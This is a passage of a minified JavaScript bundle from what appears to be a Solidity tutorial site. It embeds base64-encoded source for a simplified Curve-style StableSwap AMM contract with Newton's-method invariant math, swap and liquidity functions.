gICAgICAgICAgICByZXR1cm4gZDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoIkQgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaiBnaXZlbiB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIGkgSW5kZXggb2YgdG9rZW4gaW4KICAgICAqIEBwYXJhbSBqIEluZGV4IG9mIHRva2VuIG91dAogICAgICogQHBhcmFtIHggTmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIHhwIEN1cnJlbnQgcHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZKHVpbnQyNTYgaSwgdWludDI1NiBqLCB1aW50MjU2IHgsIHVpbnQyNTZbTl0gbWVtb3J5IHhwKQogICAgICAgIHByaXZhdGUKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvKgogICAgICAgIE5ld3RvbidzIG1ldGhvZCB0byBjb21wdXRlIHkKICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgIHkgPSB4X2oKCiAgICAgICAgZih5KSA9IHleMiArIHkoYiAtIEQpIC0gYwoKICAgICAgICAgICAgICAgICAgICB5X25eMiArIGMKICAgICAgICB5XyhuKzEpID0gLS0tLS0tLS0tLS0tLS0KICAgICAgICAgICAgICAgICAgIDJ5X24gKyBiIC0gRAoKICAgICAgICB3aGVyZQogICAgICAgIHMgPSBzdW0oeF9rKSwgayAhPSBqCiAgICAgICAgcCA9IHByb2QoeF9rKSwgayAhPSBqCiAgICAgICAgYiA9IHMgKyBEIC8gKEFuXm4pCiAgICAgICAgYyA9IEReKG4gKyAxKSAvIChuXm4gKiBwICogQW5ebikKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYSA9IEEgKiBOOwogICAgICAgIHVpbnQyNTYgZCA9IF9nZXREKHhwKTsKICAgICAgICB1aW50MjU2IHM7CiAgICAgICAgdWludDI1NiBjID0gZDsKCiAgICAgICAgdWludDI1NiBfeDsKICAgICAgICBmb3IgKHVpbnQyNTYgazsgayA8IE47ICsraykgewogICAgICAgICAgICBpZiAoayA9PSBpKSB7CiAgICAgICAgICAgICAgICBfeCA9IHg7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoayA9PSBqKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIF94ID0geHBba107CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHMgKz0gX3g7CiAgICAgICAgICAgIGMgPSAoYyAqIGQpIC8gKE4gKiBfeCk7CiAgICAgICAgfQogICAgICAgIGMgPSAoYyAqIGQpIC8gKE4gKiBhKTsKICAgICAgICB1aW50MjU2IGIgPSBzICsgZCAvIGE7CgogICAgICAgIC8vIE5ld3RvbidzIG1ldGhvZAogICAgICAgIHVpbnQyNTYgeV9wcmV2OwogICAgICAgIC8vIEluaXRpYWwgZ3Vlc3MsIHkgPD0gZAogICAgICAgIHVpbnQyNTYgeSA9IGQ7CiAgICAgICAgZm9yICh1aW50MjU2IF9pOyBfaSA8IDI1NTsgKytfaSkgewogICAgICAgICAgICB5X3ByZXYgPSB5OwogICAgICAgICAgICB5ID0gKHkgKiB5ICsgYykgLyAoMiAqIHkgKyBiIC0gZCk7CiAgICAgICAgICAgIGlmIChNYXRoLmFicyh5LCB5X3ByZXYpIDw9IDEpIHsKICAgICAgICAgICAgICAgIHJldHVybiB5OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldmVydCgieSBkaWRuJ3QgY29udmVyZ2UiKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBub3RpY2UgQ2FsY3VsYXRlIHRoZSBuZXcgYmFsYW5jZSBvZiB0b2tlbiBpIGdpdmVuIHByZWNpc2lvbi1hZGp1c3RlZAogICAgICogYmFsYW5jZXMgeHAgYW5kIGxpcXVpZGl0eSBkCiAgICAgKiBAZGV2IEVxdWF0aW9uIGlzIGNhbGN1bGF0ZSB5IGlzIHNhbWUgYXMgX2dldFkKICAgICAqIEBwYXJhbSBpIEluZGV4IG9mIHRva2VuIHRvIGNhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2UKICAgICAqIEBwYXJhbSB4cCBQcmVjaXNpb24tYWRqdXN0ZWQgYmFsYW5jZXMKICAgICAqIEBwYXJhbSBkIExpcXVpZGl0eSBkCiAgICAgKiBAcmV0dXJuIE5ldyBiYWxhbmNlIG9mIHRva2VuIGkKICAgICAqLwogICAgZnVuY3Rpb24gX2dldFlEKHVpbnQyNTYgaSwgdWludDI1NltOXSBtZW1vcnkgeHAsIHVpbnQyNTYgZCkKICAgICAgICBwcml2YXRlCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBhID0gQSAqIE47CiAgICAgICAgdWludDI1NiBzOwogICAgICAgIHVpbnQyNTYgYyA9IGQ7CgogICAgICAgIHVpbnQyNTYgX3g7CiAgICAgICAgZm9yICh1aW50MjU2IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgIT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4cFtrXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludDI1NiBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50MjU2IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50MjU2IHkgPSBkOwogICAgICAgIGZvciAodWludDI1NiBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLy8gRXN0aW1hdGUgdmFsdWUgb2YgMSBzaGFyZQogICAgLy8gSG93IG1hbnkgdG9rZW5zIGlzIG9uZSBzaGFyZSB3b3J0aD8KICAgIGZ1bmN0aW9uIGdldFZpcnR1YWxQcmljZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHVpbnQyNTYgZCA9IF9nZXREKF94cCgpKTsKICAgICAgICB1aW50MjU2IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIHJldHVybiAoZCAqIDEwICoqIERFQ0lNQUxTKSAvIF90b3RhbFN1cHBseTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFN3YXAgZHggYW1vdW50IG9mIHRva2VuIGkgZm9yIHRva2VuIGoKICAgICAqIEBwYXJhbSBpIEluZGV4IG9mIHRva2VuIGluCiAgICAgKiBAcGFyYW0gaiBJbmRleCBvZiB0b2tlbiBvdXQKICAgICAqIEBwYXJhbSBkeCBUb2tlbiBpbiBhbW91bnQKICAgICAqIEBwYXJhbSBtaW5EeSBNaW5pbXVtIHRva2VuIG91dAogICAgICovCiAgICBmdW5jdGlvbiBzd2FwKHVpbnQyNTYgaSwgdWludDI1NiBqLCB1aW50MjU2IGR4LCB1aW50MjU2IG1pbkR5KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkeSkKICAgIHsKICAgICAgICByZXF1aXJlKGkgIT0gaiwgImkgPSBqIik7CgogICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBkeCk7CgogICAgICAgIC8vIENhbGN1bGF0ZSBkeQogICAgICAgIHVpbnQyNTZbTl0gbWVtb3J5IHhwID0gX3hwKCk7CiAgICAgICAgdWludDI1NiB4ID0geHBbaV0gKyBkeCAqIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICB1aW50MjU2IHkwID0geHBbal07CiAgICAgICAgdWludDI1NiB5MSA9IF9nZXRZKGksIGosIHgsIHhwKTsKICAgICAgICAvLyB5MCBtdXN0IGJlID49IHkxLCBzaW5jZSB4IGhhcyBpbmNyZWFzZWQKICAgICAgICAvLyAtMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeTAgLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbal07CgogICAgICAgIC8vIFN1YnRyYWN0IGZlZSBmcm9tIGR5CiAgICAgICAgdWludDI1NiBmZWUgPSAoZHkgKiBTV0FQX0ZFRSkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgZHkgLT0gZmVlOwogICAgICAgIHJlcXVpcmUoZHkgPj0gbWluRHksICJkeSA8IG1pbiIpOwoKICAgICAgICBiYWxhbmNlc1tpXSArPSBkeDsKICAgICAgICBiYWxhbmNlc1tqXSAtPSBkeTsKCiAgICAgICAgSUVSQzIwKHRva2Vuc1tqXSkudHJhbnNmZXIobXNnLnNlbmRlciwgZHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSh1aW50MjU2W05dIGNhbGxkYXRhIGFtb3VudHMsIHVpbnQyNTYgbWluU2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBzaGFyZXMpCiAgICB7CiAgICAgICAgLy8gY2FsY3VsYXRlIGN1cnJlbnQgbGlxdWlkaXR5IGQwCiAgICAgICAgdWludDI1NiBfdG90YWxTdXBwbHkgPSB0b3RhbFN1cHBseTsKICAgICAgICB1aW50MjU2IGQwOwogICAgICAgIHVpbnQyNTZbTl0gbWVtb3J5IG9sZF94cyA9IF94cCgpOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGQwID0gX2dldEQob2xkX3hzKTsKICAgICAgICB9CgogICAgICAgIC8vIFRyYW5zZmVyIHRva2VucyBpbgogICAgICAgIHVpbnQyNTZbTl0gbWVtb3J5IG5ld194czsKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50MjU2IGFtb3VudCA9IGFtb3VudHNbaV07CiAgICAgICAgICAgIGlmIChhbW91bnQgPiAwKSB7CiAgICAgICAgICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2ZlckZyb20oCiAgICAgICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgbmV3X3hzW2ldID0gb2xkX3hzW2ldICsgYW1vdW50ICogbXVsdGlwbGllcnNbaV07CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBuZXdfeHNbaV0gPSBvbGRfeHNbaV07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIENhbGN1bGF0ZSBuZXcgbGlxdWlkaXR5IGQxCiAgICAgICAgdWludDI1NiBkMSA9IF9nZXREKG5ld194cyk7CiAgICAgICAgcmVxdWlyZShkMSA+IGQwLCAibGlxdWlkaXR5IGRpZG4ndCBpbmNyZWFzZSIpOwoKICAgICAgICAvLyBSZWNjYWxjdWF0ZSBEIGFjY291bnRpbmcgZm9yIGZlZSBvbiBpbWJhbGFuY2UKICAgICAgICB1aW50MjU2IGQyOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgTjsgKytpKSB7CiAgICAgICAgICAgICAgICAvLyBUT0RPOiB3aHkgb2xkX3hzW2ldICogZDEgLyBkMD8gd2h5IG5vdCBkMSAvIE4/CiAgICAgICAgICAgICAgICB1aW50MjU2IGlkZWFsQmFsYW5jZSA9IChvbGRfeHNbaV0gKiBkMSkgLyBkMDsKICAgICAgICAgICAgICAgIHVpbnQyNTYgZGlmZiA9IE1hdGguYWJzKG5ld194c1tpXSwgaWRlYWxCYWxhbmNlKTsKICAgICAgICAgICAgICAgIG5ld194c1tpXSAtPSAoTElRVUlESVRZX0ZFRSAqIGRpZmYpIC8gRkVFX0RFTk9NSU5BVE9SOwogICAgICAgICAgICB9CgogICAgICAgICAgICBkMiA9IF9nZXREKG5ld194cyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZDIgPSBkMTsKICAgICAgICB9CgogICAgICAgIC8vIFVwZGF0ZSBiYWxhbmNlcwogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgTjsgKytpKSB7CiAgICAgICAgICAgIGJhbGFuY2VzW2ldICs9IGFtb3VudHNbaV07CiAgICAgICAgfQoKICAgICAgICAvLyBTaGFyZXMgdG8gbWludCA9IChkMiAtIGQwKSAvIGQwICogdG90YWwgc3VwcGx5CiAgICAgICAgLy8gZDEgPj0gZDIgPj0gZDAKICAgICAgICBpZiAoX3RvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQyIC0gZDApICogX3RvdGFsU3VwcGx5KSAvIGQwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQyOwogICAgICAgIH0KICAgICAgICByZXF1aXJlKHNoYXJlcyA+PSBtaW5TaGFyZXMsICJzaGFyZXMgPCBtaW4iKTsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSh1aW50MjU2IHNoYXJlcywgdWludDI1NltOXSBjYWxsZGF0YSBtaW5BbW91bnRzT3V0KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NltOXSBtZW1vcnkgYW1vdW50c091dCkKICAgIHsKICAgICAgICB1aW50MjU2IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IChiYWxhbmNlc1tpXSAqIHNoYXJlcykgLyBfdG90YWxTdXBwbHk7CiAgICAgICAgICAgIHJlcXVpcmUoYW1vdW50T3V0ID49IG1pbkFtb3VudHNPdXRbaV0sICJvdXQgPCBtaW4iKTsKCiAgICAgICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICAgICAgYW1vdW50c091dFtpXSA9IGFtb3VudE91dDsKCiAgICAgICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CiAgICAgICAgfQoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIC8qKgogICAgICogQG5vdGljZSBDYWxjdWxhdGUgYW1vdW50IG9mIHRva2VuIGkgdG8gcmVjZWl2ZSBmb3Igc2hhcmVzCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byB3aXRoZHJhdwogICAgICogQHJldHVybiBkeSBBbW91bnQgb2YgdG9rZW4gaSB0byByZWNlaXZlCiAgICAgKiAgICAgICAgIGZlZSBGZWUgZm9yIHdpdGhkcmF3LiBGZWUgYWxyZWFkeSBpbmNsdWRlZCBpbiBkeQogICAgICovCiAgICBmdW5jdGlvbiBfY2FsY1dpdGhkcmF3T25lVG9rZW4odWludDI1NiBzaGFyZXMsIHVpbnQyNTYgaSkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYgZHksIHVpbnQyNTYgZmVlKQogICAgewogICAgICAgIHVpbnQyNTYgX3RvdGFsU3VwcGx5ID0gdG90YWxTdXBwbHk7CiAgICAgICAgdWludDI1NltOXSBtZW1vcnkgeHAgPSBfeHAoKTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIGQwIGFuZCBkMQogICAgICAgIHVpbnQyNTYgZDAgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludDI1NiBkMSA9IGQwIC0gKGQwICogc2hhcmVzKSAvIF90b3RhbFN1cHBseTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIHJlZHVjdGlvbiBpbiB5IGlmIEQgPSBkMQogICAgICAgIHVpbnQyNTYgeTAgPSBfZ2V0WUQoaSwgeHAsIGQxKTsKICAgICAgICAvLyBkMSA8PSBkMCBzbyB5IG11c3QgYmUgPD0geHBbaV0KICAgICAgICB1aW50MjU2IGR5MCA9ICh4cFtpXSAtIHkwKSAvIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICAvLyBDYWxjdWxhdGUgaW1iYWxhbmNlIGZlZSwgdXBkYXRlIHhwIHdpdGggZmVlcwogICAgICAgIHVpbnQyNTYgZHg7CiAgICAgICAgZm9yICh1aW50MjU2IGo7IGogPCBOOyArK2opIHsKICAgICAgICAgICAgaWYgKGogPT0gaSkgewogICAgICAgICAgICAgICAgZHggPSAoeHBbal0gKiBkMSkgLyBkMCAtIHkwOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gZDEgLyBkMCA8PSAxCiAgICAgICAgICAgICAgICBkeCA9IHhwW2pdIC0gKHhwW2pdICogZDEpIC8gZDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgeHBbal0gLT0gKExJUVVJRElUWV9GRUUgKiBkeCkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgfQoKICAgICAgICAvLyBSZWNhbGN1bGF0ZSB5IHdpdGggeHAgaW5jbHVkaW5nIGltYmFsYW5jZSBmZWVzCiAgICAgICAgdWludDI1NiB5MSA9IF9nZXRZRChpLCB4cCwgZDEpOwogICAgICAgIC8vIC0gMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeHBbaV0gLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbaV07CiAgICAgICAgZmVlID0gZHkwIC0gZHk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsY1dpdGhkcmF3T25lVG9rZW4odWludDI1NiBzaGFyZXMsIHVpbnQyNTYgaSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2IGR5LCB1aW50MjU2IGZlZSkKICAgIHsKICAgICAgICByZXR1cm4gX2NhbGNXaXRoZHJhd09uZVRva2VuKHNoYXJlcywgaSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFdpdGhkcmF3IGxpcXVpZGl0eSBpbiB0b2tlbiBpCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBUb2tlbiB0byB3aXRoZHJhdwogICAgICogQHBhcmFtIG1pbkFtb3VudE91dCBNaW5pbXVtIGFtb3VudCBvZiB0b2tlbiBpIHRoYXQgbXVzdCBiZSB3aXRoZHJhd24KICAgICAqLwogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5T25lVG9rZW4oCiAgICAgICAgdWludDI1NiBzaGFyZXMsCiAgICAgICAgdWludDI1NiBpLAogICAgICAgIHVpbnQyNTYgbWluQW1vdW50T3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgKGFtb3VudE91dCwpID0gX2NhbGNXaXRoZHJhd09uZVRva2VuKHNoYXJlcywgaSk7CiAgICAgICAgcmVxdWlyZShhbW91bnRPdXQgPj0gbWluQW1vdW50T3V0LCAib3V0IDwgbWluIik7CgogICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwoKICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRPdXQpOwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],Zb=`

                    Simplified version of Curve's stable swap AMM

                    +`,yb=({prev:s,next:a})=>r.jsx(A,{version:Ib,title:db,description:Cb,cyfrinLink:jb,html:ub,prev:s,next:a,codes:Ab}),mb="0.8.26",bb="Stable Swap AMM",wb="Curve's stable swap AMM",kb="",Zb=[{fileName:"StableSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkludmFyaWFudCAtIHByaWNlIG9mIHRyYWRlIGFuZCBhbW91bnQgb2YgbGlxdWlkaXR5IGFyZSBkZXRlcm1pbmVkIGJ5IHRoaXMgZXF1YXRpb24KCkFuXm4gc3VtKHhfaSkgKyBEID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkKClRvcGljcwowLiBOZXd0b24ncyBtZXRob2QgeF8obiArIDEpID0geF9uIC0gZih4X24pIC8gZicoeF9uKQoxLiBJbnZhcmlhbnQKMi4gU3dhcAogICAtIENhbGN1bGF0ZSBZCiAgIC0gQ2FsY3VsYXRlIEQKMy4gR2V0IHZpcnR1YWwgcHJpY2UKNC4gQWRkIGxpcXVpZGl0eQogICAtIEltYmFsYW5jZSBmZWUKNS4gUmVtb3ZlIGxpcXVpZGl0eQo2LiBSZW1vdmUgbGlxdWlkaXR5IG9uZSB0b2tlbgogICAtIENhbGN1bGF0ZSB3aXRoZHJhdyBvbmUgdG9rZW4KICAgLSBnZXRZRApUT0RPOiB0ZXN0PwoqLwoKbGlicmFyeSBNYXRoIHsKICAgIGZ1bmN0aW9uIGFicyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgaW50ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggPj0geSA/IHggLSB5IDogeSAtIHg7CiAgICB9Cn0KCmNvbnRyYWN0IFN0YWJsZVN3YXAgewogICAgLy8gTnVtYmVyIG9mIHRva2VucwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE4gPSAzOwogICAgLy8gQW1wbGlmaWNhdGlvbiBjb2VmZmljaW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tpXTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSBELCBzdW0gb2YgYmFsYW5jZXMgaW4gYSBwZXJmZWN0bHkgYmFsYW5jZWQgcG9vbAogICAgICogSWYgYmFsYW5jZXMgb2YgeF8wLCB4XzEsIC4uLiB4XyhuLTEpIHRoZW4gc3VtKHhfaSkgPSBECiAgICAgKiBAcGFyYW0geHAgUHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKiBAcmV0dXJuIEQKICAgICAqLwogICAgZnVuY3Rpb24gX2dldEQodWludDI1NltOXSBtZW1vcnkgeHApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSBECiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICBmKEQpID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkgLSBBbl5uIHN1bSh4X2kpIC0gRCAKICAgICAgICBmJyhEKSA9IEFuXm4gKyAobiArIDEpIERebiAvIChuXm4gcHJvZCh4X2kpKSAtIDEKCiAgICAgICAgICAgICAgICAgICAgIChhcyArIG5wKURfbgogICAgICAgIERfKG4rMSkgPSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgICAgICAgICAgICAoYSAtIDEpRF9uICsgKG4gKyAxKXAKCiAgICAgICAgYSA9IEFuXm4KICAgICAgICBzID0gc3VtKHhfaSkKICAgICAgICBwID0gKERfbileKG4gKyAxKSAvIChuXm4gcHJvZCh4X2kpKQogICAgICAgICovCiAgICAgICAgdWludDI1NiBhID0gQSAqIE47IC8vIEFuXm4KCiAgICAgICAgdWludDI1NiBzOyAvLyB4XzAgKyB4XzEgKyAuLi4gKyB4XyhuLTEpCiAgICAgICAgZm9yICh1aW50MjU2IGk7IGkgPCBOOyArK2kpIHsKICAgICAgICAgICAgcyArPSB4cFtpXTsKICAgICAgICB9CgogICAgICAgIC8vIE5ld3RvbidzIG1ldGhvZAogICAgICAgIC8vIEluaXRpYWwgZ3Vlc3MsIGQgPD0gcwogICAgICAgIHVpbnQyNTYgZCA9IHM7CiAgICAgICAgdWludDI1NiBkX3ByZXY7CiAgICAgICAgZm9yICh1aW50MjU2IGk7IGkgPCAyNTU7ICsraSkgewogICAgICAgICAgICAvLyBwID0gRF4obiArIDEpIC8gKG5ebiAqIHhfMCAqIC4uLiAqIHhfKG4tMSkpCiAgICAgICAgICAgIHVpbnQyNTYgcCA9IGQ7CiAgICAgICAgICAgIGZvciAodWludDI1NiBqOyBqIDwgTjsgKytqKSB7CiAgICAgICAgICAgICAgICBwID0gKHAgKiBkKSAvIChOICogeHBbal0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRfcHJldiA9IGQ7CiAgICAgICAgICAgIGQgPSAoKGEgKiBzICsgTiAqIHApICogZCkgLyAoKGEgLSAxKSAqIGQgKyAoTiArIDEpICogcCk7CgogICAgICAgICAgICBpZiAoTWF0aC5hYnMoZCwgZF9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoIkQgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaiBnaXZlbiB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIGkgSW5kZXggb2YgdG9rZW4gaW4KICAgICAqIEBwYXJhbSBqIEluZGV4IG9mIHRva2VuIG91dAogICAgICogQHBhcmFtIHggTmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIHhwIEN1cnJlbnQgcHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZKHVpbnQyNTYgaSwgdWludDI1NiBqLCB1aW50MjU2IHgsIHVpbnQyNTZbTl0gbWVtb3J5IHhwKQogICAgICAgIHByaXZhdGUKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvKgogICAgICAgIE5ld3RvbidzIG1ldGhvZCB0byBjb21wdXRlIHkKICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgIHkgPSB4X2oKCiAgICAgICAgZih5KSA9IHleMiArIHkoYiAtIEQpIC0gYwoKICAgICAgICAgICAgICAgICAgICB5X25eMiArIGMKICAgICAgICB5XyhuKzEpID0gLS0tLS0tLS0tLS0tLS0KICAgICAgICAgICAgICAgICAgIDJ5X24gKyBiIC0gRAoKICAgICAgICB3aGVyZQogICAgICAgIHMgPSBzdW0oeF9rKSwgayAhPSBqCiAgICAgICAgcCA9IHByb2QoeF9rKSwgayAhPSBqCiAgICAgICAgYiA9IHMgKyBEIC8gKEFuXm4pCiAgICAgICAgYyA9IEReKG